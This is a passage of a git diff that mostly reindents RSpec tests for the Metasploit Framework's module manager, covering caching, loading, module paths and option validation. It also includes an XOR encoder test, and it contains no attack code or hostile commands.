framework.db.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - it { should be_true } - end - - context 'without migrated' do - let(:migrated) do - false - end - - it { should be_false } - end - end - - context 'without framework database' do - before(:each) do - framework.stub(:db => nil) - end - - it { should be_false } - end - end - - context '#module_info_by_path' do - it { should respond_to(:module_info_by_path) } - end - - context '#module_info_by_path=' do - it { should respond_to(:module_info_by_path=) } - end - - context '#module_info_by_path_from_database!' do - def module_info_by_path - module_manager.send(:module_info_by_path) - end - - def module_info_by_path_from_database! - module_manager.send(:module_info_by_path_from_database!) - end - - before(:each) do - module_manager.stub(:framework_migrated? => framework_migrated?) - end - - context 'with framework migrated' do - include_context 'DatabaseCleaner' - - let(:framework_migrated?) do - true - end - - before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] - - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - framework.db.connect(spec) - end - - it 'should call ActiveRecord::Base.connection_pool.with_connection' do - # 1st is from with_established_connection - # 2nd is from module_info_by_path_from_database! - ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times - - module_info_by_path_from_database! - end - - it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do - Mdm::Module::Detail.should_receive(:find_each) - - module_info_by_path_from_database! + let(:parent_path) do + parent_pathname.to_path + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + let(:path) do + pathname.to_path + end + + let(:pathname) do + parent_pathname.join( + 'exploits', + "#{reference_name}.rb" + ) + end + + let(:pathname_modification_time) do + pathname.mtime + end + + context '#cache_empty?' do + subject(:cache_empty?) do + module_manager.cache_empty? + end + + before(:each) do + module_manager.send(:module_info_by_path=, module_info_by_path) + end + + context 'with empty' do + let(:module_info_by_path) do + {} end - context 'with database cache' do - # - # Let!s (let + before(:each)) - # + it { should be_true } + end - let!(:mdm_module_detail) do - FactoryGirl.create(:mdm_module_detail, - :file => path, - :mtype => type, - :mtime => pathname.mtime, - :refname => reference_name - ) - end + context 'without empty' do + let(:module_info_by_path) do + { + 'path/to/module' => {} + } + end - it 'should create cache entry for path' do - module_info_by_path_from_database! + it { should be_false } + end + end - module_info_by_path.should have_key(path) - end + context '#cache_in_memory' do + def cache_in_memory + module_manager.cache_in_memory( + class_or_module, + :path => path, + :reference_name => reference_name, + :type => type + ) + end - it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do - Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original + def module_info_by_path + module_manager.send(:module_info_by_path) + end - module_info_by_path_from_database! - end + let(:class_or_module) do + double('Class<Msf::Module> or Module', :parent => namespace_module) + end - context 'cache entry' do - subject(:cache_entry) do - module_info_by_path[path] - end + let(:namespace_module) do + double('Msf::Modules::Namespace', :parent_path => parent_path) + end - before(:each) do - module_info_by_path_from_database! - end + context 'with existing :path' do + it 'should update module_info_by_path' do + expect { + cache_in_memory + }.to change { module_info_by_path } + end - its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) } - its([:parent_path]) { should == parent_path } - its([:reference_name]) { should == reference_name } - its([:type]) { should == type } - end + context 'module_info_by_path' do + subject(:module_info_by_path) do + module_manager.send(:module_info_by_path) + end - context 'typed module set' do - let(:typed_module_set) do - module_manager.module_set(type) - end + before(:each) do + cache_in_memory + end - context 'with reference_name' do - before(:each) do - typed_module_set[reference_name] = double('Msf::Module') - end + it 'should have entry for path' do + module_info_by_path[path].should be_a Hash + end - it 'should not change reference_name value' do - expect { - module_info_by_path_from_database! - }.to_not change { - typed_module_set[reference_name] - } - end - end + context 'value' do + subject(:value) do + module_info_by_path[path] + end - context 'without reference_name' do - it 'should set reference_name value to Msf::SymbolicModule' do - module_info_by_path_from_database! + it 'should have modification time of :path option for :modification_time' do + value[:modification_time].should == pathname_modification_time + end - # have to use fetch because [] will trigger de-symbolization and - # instantiation. - typed_module_set.fetch(reference_name).should == Msf::SymbolicModule - end - end - end - end - end + it 'should have parent path from namespace module for :parent_path' do + value[:parent_path].should == namespace_module.parent_path + end - context 'without framework migrated' do - let(:framework_migrated?) do - false - end + it 'should use :reference_name option' do + value[:reference_name].should == reference_name + end - it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) } + it 'should use :type option' do + value[:type].should == type + end + end + end + end - it 'should reset #module_info_by_path' do - # pre-fill module_info_by_path so change can be detected - module_manager.send(:module_info_by_path=, double('In-memory Cache')) + context 'without existing :path' do + let(:path) do + 'non/existent/path' + end - module_info_by_path_from_database! + it 'should not raise error' do + expect { + cache_in_memory + }.to_not raise_error + end - module_info_by_path.should be_empty - end - end - end + it 'should not update module_info_by_path' do + expect { + cache_in_memory + }.to_not change { module_info_by_path } + end + end + end + + context '#load_cached_module' do + subject(:load_cached_module) do + module_manager.load_cached_module(type, reference_name) + end + + before(:each) do + module_manager.send(:module_info_by_path=, module_info_by_path) + end + + context 'with module info in cache' do + let(:module_info_by_path) do + { + 'path/to/module' => { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type + } + } + end + + it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do + module_manager.send(:loaders).each do |loader| + loader.should_receive(:loadable?).with(parent_path).and_call_original + end + + load_cached_module + end + + it 'should force load using #load_module on the loader' do + Msf::Modules::Loader::Directory.any_instance.should_receive( + :load_module + ).with( + parent_path, + type, + reference_name, + :force => true + ).and_call_original + + load_cached_module + end + + context 'return from load_module' do + before(:each) do + module_manager.send(:loaders).each do |loader| + loader.stub(:load_module => module_loaded) + end + end + + context 'with false' do + let(:module_loaded) do + false + end + + it { should be_false } + end + + context 'with true' do + let(:module_loaded) do + true + end + + it { should be_true } + end + end + end + + context 'without module info in cache' do + let(:module_info_by_path) do + {} + end + + it { should be_false } + end + end + + context '#refresh_cache_from_module_files' do + before(:each) do + module_manager.stub(:framework_migrated? => framework_migrated?) + end + + context 'with framework migrated' do + let(:framework_migrated?) do + true + end + + context 'with module argument' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files(module_class_or_instance) + end + + let(:module_class_or_instance) do + Class.new(Msf::Module) + end + + it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do + framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered + module_manager.should_receive(:refresh_cache_from_database).ordered + + refresh_cache_from_module_files + end + end + + context 'without module argument' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files + end + + it 'should update database and then update in-memory cache from the database for all modules' do + framework.db.should_receive(:update_all_module_details).ordered + module_manager.should_receive(:refresh_cache_from_database) + + refresh_cache_from_module_files + end + end + end + + context 'without framework migrated' do + def refresh_cache_from_module_files + module_manager.refresh_cache_from_module_files + end + + let(:framework_migrated?) do + false + end + + it 'should not call Msf::DBManager#update_module_details' do + framework.db.should_not_receive(:update_module_details) + + refresh_cache_from_module_files + end + + it 'should not call Msf::DBManager#update_all_module_details' do + framework.db.should_not_receive(:update_all_module_details) + + refresh_cache_from_module_files + end + + it 'should not call #refresh_cache_from_database' do + module_manager.should_not_receive(:refresh_cache_from_database) + + refresh_cache_from_module_files + end + end + end + + context '#refresh_cache_from_database' do + def refresh_cache_from_database + module_manager.refresh_cache_from_database + end + + it 'should call #module_info_by_path_from_database!' do + module_manager.should_receive(:module_info_by_path_from_database!) + + refresh_cache_from_database + end + end + + context '#framework_migrated?' do + subject(:framework_migrated?) do + module_manager.send(:framework_migrated?) + end + + context 'with framework database' do + before(:each) do + framework.db.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + it { should be_true } + end + + context 'without migrated' do + let(:migrated) do + false + end + + it { should be_false } + end + end + + context 'without framework database' do + before(:each) do + framework.stub(:db => nil) + end + + it { should be_false } + end + end + + context '#module_info_by_path' do + it { should respond_to(:module_info_by_path) } + end + + context '#module_info_by_path=' do + it { should respond_to(:module_info_by_path=) } + end + + context '#module_info_by_path_from_database!' do + def module_info_by_path + module_manager.send(:module_info_by_path) + end + + def module_info_by_path_from_database! + module_manager.send(:module_info_by_path_from_database!) + end + + before(:each) do + module_manager.stub(:framework_migrated? => framework_migrated?) + end + + context 'with framework migrated' do + include_context 'DatabaseCleaner' + + let(:framework_migrated?) do + true + end + + before(:each) do + configurations = Metasploit::Framework::Database.configurations + spec = configurations[Metasploit::Framework.env] + + # Need to connect or ActiveRecord::Base.connection_pool will raise an + # error. + framework.db.connect(spec) + end + + it 'should call ActiveRecord::Base.connection_pool.with_connection' do + # 1st is from with_established_connection + # 2nd is from module_info_by_path_from_database! + ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times + + module_info_by_path_from_database! + end + + it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do + Mdm::Module::Detail.should_receive(:find_each) + + module_info_by_path_from_database! + end + + context 'with database cache' do + # + # Let!s (let + before(:each)) + # + + let!(:mdm_module_detail) do + FactoryGirl.create(:mdm_module_detail, + :file => path, + :mtype => type, + :mtime => pathname.mtime, + :refname => reference_name + ) + end + + it 'should create cache entry for path' do + module_info_by_path_from_database! + + module_info_by_path.should have_key(path) + end + + it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do + Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original + + module_info_by_path_from_database! + end + + context 'cache entry' do + subject(:cache_entry) do + module_info_by_path[path] + end + + before(:each) do + module_info_by_path_from_database! + end + + its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) } + its([:parent_path]) { should == parent_path } + its([:reference_name]) { should == reference_name } + its([:type]) { should == type } + end + + context 'typed module set' do + let(:typed_module_set) do + module_manager.module_set(type) + end + + context 'with reference_name' do + before(:each) do + typed_module_set[reference_name] = double('Msf::Module') + end + + it 'should not change reference_name value' do + expect { + module_info_by_path_from_database! + }.to_not change { + typed_module_set[reference_name] + } + end + end + + context 'without reference_name' do + it 'should set reference_name value to Msf::SymbolicModule' do + module_info_by_path_from_database! + + # have to use fetch because [] will trigger de-symbolization and + # instantiation. + typed_module_set.fetch(reference_name).should == Msf::SymbolicModule + end + end + end + end + end + + context 'without framework migrated' do + let(:framework_migrated?) do + false + end + + it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) } + + it 'should reset #module_info_by_path' do + # pre-fill module_info_by_path so change can be detected + module_manager.send(:module_info_by_path=, double('In-memory Cache')) + + module_info_by_path_from_database! + + module_info_by_path.should be_empty + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index c023b32d74..9f32665fc4 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -1,162 +1,162 @@ shared_examples_for 'Msf::ModuleManager::Loading' do - context '#file_changed?' do - let(:module_basename) do - [basename_prefix, '.rb'] - end + context '#file_changed?' do + let(:module_basename) do + [basename_prefix, '.rb'] + end - it 'should return true if module info is not cached' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path + it 'should return true if module info is not cached' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path - subject.send(:module_info_by_path)[module_path].should be_nil - subject.file_changed?(module_path).should be_true - end - end + subject.send(:module_info_by_path)[module_path].should be_nil + subject.file_changed?(module_path).should be_true + end + end - it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path) + it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path) - subject.send(:module_info_by_path)[module_path] = { - # :modification_time must match so that it is the :type that is causing the `true` and not the - # :modification_time causing the `true`. - :modification_time => modification_time, - :type => Msf::MODULE_PAYLOAD - } + subject.send(:module_info_by_path)[module_path] = { + # :modification_time must match so that it is the :type that is causing the `true` and not the + # :modification_time causing the `true`. + :modification_time => modification_time, + :type => Msf::MODULE_PAYLOAD + } - subject.file_changed?(module_path).should be_true - end - end + subject.file_changed?(module_path).should be_true + end + end - context 'with cache module info and not a payload module' do - it 'should return true if the file does not exist on the file system' do - tempfile = Tempfile.new(module_basename) - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i + context 'with cache module info and not a payload module' do + it 'should return true if the file does not exist on the file system' do + tempfile = Tempfile.new(module_basename) + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i - subject.send(:module_info_by_path)[module_path] = { - :modification_time => modification_time - } + subject.send(:module_info_by_path)[module_path] = { + :modification_time => modification_time + } - tempfile.unlink + tempfile.unlink - File.exist?(module_path).should be_false - subject.file_changed?(module_path).should be_true - end + File.exist?(module_path).should be_false + subject.file_changed?(module_path).should be_true + end - it 'should return true if modification time does not match the cached modification time' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i - cached_modification_time = (modification_time * rand).to_i + it 'should return true if modification time does not match the cached modification time' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i + cached_modification_time = (modification_time * rand).to_i - subject.send(:module_info_by_path)[module_path] = { - :modification_time => cached_modification_time - } + subject.send(:module_info_by_path)[module_path] = { + :modification_time => cached_modification_time + } - cached_modification_time.should_not == modification_time - subject.file_changed?(module_path).should be_true - end - end + cached_modification_time.should_not == modification_time + subject.file_changed?(module_path).should be_true + end + end - it 'should return false if modification time does match the cached modification time' do - Tempfile.open(module_basename) do |tempfile| - module_path = tempfile.path - modification_time = File.mtime(module_path).to_i - cached_modification_time = modification_time + it 'should return false if modification time does match the cached modification time' do + Tempfile.open(module_basename) do |tempfile| + module_path = tempfile.path + modification_time = File.mtime(module_path).to_i + cached_modification_time = modification_time - subject.send(:module_info_by_path)[module_path] = { - :modification_time => cached_modification_time - } + subject.send(:module_info_by_path)[module_path] = { + :modification_time => cached_modification_time + } - cached_modification_time.should == modification_time - subject.file_changed?(module_path).should be_false - end - end - end - end + cached_modification_time.should == modification_time + subject.file_changed?(module_path).should be_false + end + end + end + end - context '#on_module_load' do - def on_module_load - module_manager.on_module_load(klass, type, reference_name, options) - end + context '#on_module_load' do + def on_module_load + module_manager.on_module_load(klass, type, reference_name, options) + end - let(:klass) do - Class.new(Msf::Auxiliary) - end + let(:klass) do + Class.new(Msf::Auxiliary) + end - let(:module_set) do - module_manager.module_set(type) - end + let(:module_set) do + module_manager.module_set(type) + end - let(:namespace_module) do - double('Namespace Module', :parent_path => parent_path) - end + let(:namespace_module) do + double('Namespace Module', :parent_path => parent_path) + end - let(:options) do - { - 'files' => [ - path - ], - 'paths' => [ - reference_name - ], - 'type' => type - } - end + let(:options) do + { + 'files' => [ + path + ], + 'paths' => [ + reference_name + ], + 'type' => type + } + end - let(:parent_path) do - Metasploit::Framework.root.join('modules') - end + let(:parent_path) do + Metasploit::Framework.root.join('modules') + end - let(:path) do - type_directory = Mdm::Module::Detail::DIRECTORY_BY_TYPE[type] + let(:path) do + type_directory = Mdm::Module::Detail::DIRECTORY_BY_TYPE[type] - File.join(parent_path, type_directory, "#{reference_name}.rb") - end + File.join(parent_path, type_directory, "#{reference_name}.rb") + end - let(:reference_name) do - 'admin/2wire/xslt_password_reset' - end + let(:reference_name) do + 'admin/2wire/xslt_password_reset' + end - let(:type) do - klass.type - end + let(:type) do + klass.type + end - before(:each) do - klass.stub(:parent => namespace_module) - end + before(:each) do + klass.stub(:parent => namespace_module) + end - it "should add module to type's module_set" do - module_set.should_receive(:add_module).with( - klass, - reference_name, - options - ) + it "should add module to type's module_set" do + module_set.should_receive(:add_module).with( + klass, + reference_name, + options + ) - on_module_load - end + on_module_load + end - it 'should call cache_in_memory' do - module_manager.should_receive(:cache_in_memory) + it 'should call cache_in_memory' do + module_manager.should_receive(:cache_in_memory) - on_module_load - end + on_module_load + end - it 'should pass class to #auto_subscribe_module' do - module_manager.should_receive(:auto_subscribe_module).with(klass) + it 'should pass class to #auto_subscribe_module' do + module_manager.should_receive(:auto_subscribe_module).with(klass) - on_module_load - end + on_module_load + end - it 'should fire on_module_load event with class' do - framework.events.should_receive(:on_module_load).with( - reference_name, - klass - ) + it 'should fire on_module_load event with class' do + framework.events.should_receive(:on_module_load).with( + reference_name, + klass + ) - on_module_load - end - end + on_module_load + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index 05fdc1f663..0951211d28 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -1,77 +1,77 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do - def module_paths - module_manager.send(:module_paths) - end + def module_paths + module_manager.send(:module_paths) + end - context '#add_module_path' do - it 'should strip trailing File::SEPARATOR from the path' do - Dir.mktmpdir do |path| - path_with_trailing_separator = path + File::SEPARATOR - module_manager.add_module_path(path_with_trailing_separator) + context '#add_module_path' do + it 'should strip trailing File::SEPARATOR from the path' do + Dir.mktmpdir do |path| + path_with_trailing_separator = path + File::SEPARATOR + module_manager.add_module_path(path_with_trailing_separator) - module_paths.should_not include(path_with_trailing_separator) - module_paths.should include(path) - end - end + module_paths.should_not include(path_with_trailing_separator) + module_paths.should include(path) + end + end - context 'with Fastlib archive' do - it 'should raise an ArgumentError unless the File exists' do - file = Tempfile.new(archive_basename) - # unlink will clear path, so copy it to a variable - path = file.path - file.unlink + context 'with Fastlib archive' do + it 'should raise an ArgumentError unless the File exists' do + file = Tempfile.new(archive_basename) + # unlink will clear path, so copy it to a variable + path = file.path + file.unlink - File.exist?(path).should be_false + File.exist?(path).should be_false - expect { - module_manager.add_module_path(path) - }.to raise_error(ArgumentError, "The path supplied does not exist") - end + expect { + module_manager.add_module_path(path) + }.to raise_error(ArgumentError, "The path supplied does not exist") + end - it 'should add the path to #module_paths if the File exists' do - Tempfile.open(archive_basename) do |temporary_file| - path = temporary_file.path + it 'should add the path to #module_paths if the File exists' do + Tempfile.open(archive_basename) do |temporary_file| + path = temporary_file.path - File.exist?(path).should be_true + File.exist?(path).should be_true - module_manager.add_module_path(path) + module_manager.add_module_path(path) - module_paths.should include(path) - end - end - end + module_paths.should include(path) + end + end + end - context 'with directory' do - it 'should add path to #module_paths' do - Dir.mktmpdir do |path| - module_manager.add_module_path(path) + context 'with directory' do + it 'should add path to #module_paths' do + Dir.mktmpdir do |path| + module_manager.add_module_path(path) - module_paths.should include(path) - end - end + module_paths.should include(path) + end + end - context 'containing Fastlib archives' do - it 'should add each Fastlib archive to #module_paths' do - Dir.mktmpdir do |directory| - Tempfile.open(archive_basename, directory) do |file| - module_manager.add_module_path(directory) + context 'containing Fastlib archives' do + it 'should add each Fastlib archive to #module_paths' do + Dir.mktmpdir do |directory| + Tempfile.open(archive_basename, directory) do |file| + module_manager.add_module_path(directory) - module_paths.should include(directory) - module_paths.should include(file.path) - end - end - end - end - end + module_paths.should include(directory) + module_paths.should include(file.path) + end + end + end + end + end - context 'with other file' do - it 'should raise ArgumentError' do - Tempfile.open(basename_prefix) do |file| - expect { - subject.add_module_path(file.path) - }.to raise_error(ArgumentError, 'The path supplied is not a valid directory.') - end - end - end - end + context 'with other file' do + it 'should raise ArgumentError' do + Tempfile.open(basename_prefix) do |file| + expect { + subject.add_module_path(file.path) + }.to raise_error(ArgumentError, 'The path supplied is not a valid directory.') + end + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb index 409974c954..5b80ff0aac 100644 --- a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb +++ b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb @@ -1,27 +1,27 @@ # -*- coding:binary -*- shared_examples_for 'Msf::Modules::Error subclass #initialize' do - context 'instance methods' do - context '#initialize' do - include_context 'Msf::Modules::Error attributes' + context 'instance methods' do + context '#initialize' do + include_context 'Msf::Modules::Error attributes' - subject do - described_class.new( - :module_path => module_path, - :module_reference_name => module_reference_name - ) - end + subject do + described_class.new( + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end - it 'should include causal message in error' do - subject.to_s.should match(/due to .*/) - end + it 'should include causal message in error' do + subject.to_s.should match(/due to .*/) + end - it 'should set module_path' do - subject.module_path.should == module_path - end + it 'should set module_path' do + subject.module_path.should == module_path + end - it 'should set module_reference_name' do - subject.module_reference_name.should == module_reference_name - end - end - end + it 'should set module_reference_name' do + subject.module_reference_name.should == module_reference_name + end + end + end end diff --git a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb b/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb index 12bbad980a..f0f5b0582e 100644 --- a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb +++ b/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb @@ -1,14 +1,14 @@ # -*- coding:binary -*- shared_examples_for 'Msf::Modules::Loader::Archive#read_module_content' do - it 'should be able to read the module content' do - archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name) - unarchived_module_content = '' + it 'should be able to read the module content' do + archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name) + unarchived_module_content = '' - File.open(unarchived_path) do |f| - unarchived_module_content = f.read - end + File.open(unarchived_path) do |f| + unarchived_module_content = f.read + end - unarchived_module_content.should_not be_empty - archived_module_content.should == unarchived_module_content - end + unarchived_module_content.should_not be_empty + archived_module_content.should == unarchived_module_content + end end diff --git a/spec/support/shared/examples/msf/modules/version_compatibility_error.rb b/spec/support/shared/examples/msf/modules/version_compatibility_error.rb index 407c712504..45c859e7ad 100644 --- a/spec/support/shared/examples/msf/modules/version_compatibility_error.rb +++ b/spec/support/shared/examples/msf/modules/version_compatibility_error.rb @@ -1,33 +1,33 @@ # -*- coding:binary -*- shared_examples_for 'Msf::Modules::VersionCompatibilityError' do - let(:error) do - begin - subject.version_compatible!(module_path, module_reference_name) - rescue Msf::Modules::VersionCompatibilityError => error - end + let(:error) do + begin + subject.version_compatible!(module_path, module_reference_name) + rescue Msf::Modules::VersionCompatibilityError => error + end - error - end + error + end - it 'should be raised' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to raise_error(Msf::Modules::VersionCompatibilityError) - end + it 'should be raised' do + expect { + subject.version_compatible!(module_path, module_reference_name) + }.to raise_error(Msf::Modules::VersionCompatibilityError) + end - it 'should include minimum API version' do - error.to_s.should include(minimum_api_version.to_s) - end + it 'should include minimum API version' do + error.to_s.should include(minimum_api_version.to_s) + end - it 'should include minimum Core version' do - error.to_s.should include(minimum_core_version.to_s) - end + it 'should include minimum Core version' do + error.to_s.should include(minimum_core_version.to_s) + end - it 'should include module path' do - error.to_s.should include(module_path) - end + it 'should include module path' do + error.to_s.should include(module_path) + end - it 'should include module reference name' do - error.to_s.should include(module_reference_name) - end + it 'should include module reference name' do + error.to_s.should include(module_reference_name) + end end diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index 9c88e2db65..56df640695 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -1,99 +1,99 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do - it { should be_a Msf::Simple::Framework::ModulePaths } + it { should be_a Msf::Simple::Framework::ModulePaths } - context '#init_module_paths' do - def init_module_paths - framework.init_module_paths - end + context '#init_module_paths' do + def init_module_paths + framework.init_module_paths + end - let(:module_directory) do - nil - end + let(:module_directory) do + nil + end - let(:user_module_directory) do - nil - end + let(:user_module_directory) do + nil + end - let(:options) do - {} - end + let(:options) do + {} + end - before(:each) do - # create the framework first so that it's initialization's call - # to init_module_paths doesn't get captured. - framework + before(:each) do + # create the framework first so that it's initialization's call + # to init_module_paths doesn't get captured. + framework - Msf::Config.stub(:module_directory => module_directory) - Msf::Config.stub(:user_module_directory => user_module_directory) - end + Msf::Config.stub(:module_directory => module_directory) + Msf::Config.stub(:user_module_directory => user_module_directory) + end - it 'should refresh module cache from database' do - framework.modules.should_receive(:refresh_cache_from_database) + it 'should refresh module cache from database' do + framework.modules.should_receive(:refresh_cache_from_database) - init_module_paths - end + init_module_paths + end - context 'Msf::Config' do - context 'module_directory' do - context 'without nil' do - let(:module_directory) do - 'modules' - end + context 'Msf::Config' do + context 'module_directory' do + context 'without nil' do + let(:module_directory) do + 'modules' + end - it 'should add Msf::Config.module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( - module_directory, - options - ) + it 'should add Msf::Config.module_directory to module paths' do + framework.modules.should_receive(:add_module_path).with( + module_directory, + options + ) - init_module_paths - end - end - end + init_module_paths + end + end + end - context 'user_module_directory' do - context 'without nil' do - let(:user_module_directory) do - 'user/modules' - end + context 'user_module_directory' do + context 'without nil' do + let(:user_module_directory) do + 'user/modules' + end - it 'should add Msf::Config.user_module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( - user_module_directory, - options - ) + it 'should add Msf::Config.user_module_directory to module paths' do + framework.modules.should_receive(:add_module_path).with( + user_module_directory, + options + ) - init_module_paths - end - end - end - end + init_module_paths + end + end + end + end - context 'datastore' do - context 'MsfModulePaths' do - let(:module_paths) do - module_paths = [] + context 'datastore' do + context 'MsfModulePaths' do + let(:module_paths) do + module_paths = [] - 1.upto(2) do |i| - module_paths << "msf/#{i}/modules" - end + 1.upto(2) do |i| + module_paths << "msf/#{i}/modules" + end - module_paths - end + module_paths + end - before(:each) do - msf_module_paths = module_paths.join(';') - framework.datastore['MsfModulePaths'] = msf_module_paths - end + before(:each) do + msf_module_paths = module_paths.join(';') + framework.datastore['MsfModulePaths'] = msf_module_paths + end - it 'should add each module path' do - module_paths.each do |module_path| - framework.modules.should_receive(:add_module_path).with(module_path, options) - end + it 'should add each module path' do + module_paths.each do |module_path| + framework.modules.should_receive(:add_module_path).with(module_path, options) + end - init_module_paths - end - end - end - end + init_module_paths + end + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/options.rb b/spec/support/shared/examples/options.rb index f26f94e89f..d84fa9a692 100644 --- a/spec/support/shared/examples/options.rb +++ b/spec/support/shared/examples/options.rb @@ -26,33 +26,33 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| context "with valid values" do valid_values.each do |vhash| - valid_value = vhash[:value] - normalized_value = vhash[:normalized] + valid_value = vhash[:value] + normalized_value = vhash[:normalized] it "should be valid and normalize appropriately: #{valid_value}" do - block = Proc.new { - subject.normalize(valid_value).should == normalized_value - subject.valid?(valid_value).should be_true - } - if vhash[:pending] - pending(vhash[:pending], &block) - else - block.call - end + block = Proc.new { + subject.normalize(valid_value).should == normalized_value + subject.valid?(valid_value).should be_true + } + if vhash[:pending] + pending(vhash[:pending], &block) + else + block.call + end end end end context "with invalid values" do invalid_values.each do |vhash| - invalid_value = vhash[:value] + invalid_value = vhash[:value] it "should not be valid: #{invalid_value}" do block = Proc.new { subject.valid?(invalid_value).should be_false } - if vhash[:pending] - pending(vhash[:pending], &block) - else - block.call - end + if vhash[:pending] + pending(vhash[:pending], &block) + else + block.call + end end end end diff --git a/spec/support/shared/examples/typed_path.rb b/spec/support/shared/examples/typed_path.rb index 487c60393b..ba33e7eedd 100644 --- a/spec/support/shared/examples/typed_path.rb +++ b/spec/support/shared/examples/typed_path.rb @@ -1,29 +1,29 @@ # -*- coding:binary -*- shared_examples_for 'typed_path' do |map| - map ||= {} - if map.length < 1 - raise ArgumentError, - "type_path shared example requires a hash mapping the type constant name to the directory name: " \ - "it_should_behave_like 'type_path', 'Msf::Auxiliary' => 'auxiliary'" - end + map ||= {} + if map.length < 1 + raise ArgumentError, + "type_path shared example requires a hash mapping the type constant name to the directory name: " \ + "it_should_behave_like 'type_path', 'Msf::Auxiliary' => 'auxiliary'" + end - if map.length > 1 - raise ArgumentError, - "only one constant to directory mapping should be passed to each shared example, not #{map.length}" - end + if map.length > 1 + raise ArgumentError, + "only one constant to directory mapping should be passed to each shared example, not #{map.length}" + end - type_constant_name, directory = map.shift + type_constant_name, directory = map.shift - context "with #{type_constant_name} type" do - let(:type_constant) do - type_constant_name.constantize - end + context "with #{type_constant_name} type" do + let(:type_constant) do + type_constant_name.constantize + end - it "should start with #{directory} directory" do - typed_path = described_class.typed_path(type_constant, module_reference_name) - first_directory = typed_path.split(File::SEPARATOR).first + it "should start with #{directory} directory" do + typed_path = described_class.typed_path(type_constant, module_reference_name) + first_directory = typed_path.split(File::SEPARATOR).first - first_directory.should == directory - end - end + first_directory.should == directory + end + end end diff --git a/spec/support/shared/examples/xor_encoder.rb b/spec/support/shared/examples/xor_encoder.rb index daa1f65db8..3df434c490 100644 --- a/spec/support/shared/examples/xor_encoder.rb +++ b/spec/support/shared/examples/xor_encoder.rb @@ -1,37 +1,37 @@ # -*- coding: binary -*- shared_examples_for 'an xor encoder' do |keysize| - it "should encode one block" do - # Yup it returns one of its arguments in an array... Because spoon. - encoded, key = described_class.encode("A"*keysize, "A"*keysize) - encoded.should eql("\x00"*keysize) + it "should encode one block" do + # Yup it returns one of its arguments in an array... Because spoon. + encoded, key = described_class.encode("A"*keysize, "A"*keysize) + encoded.should eql("\x00"*keysize) - encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize) - encoded.should eql("\xff"*keysize) + encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize) + encoded.should eql("\xff"*keysize) - encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize) - encoded.should eql("\x88"*keysize) - end + encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize) + encoded.should 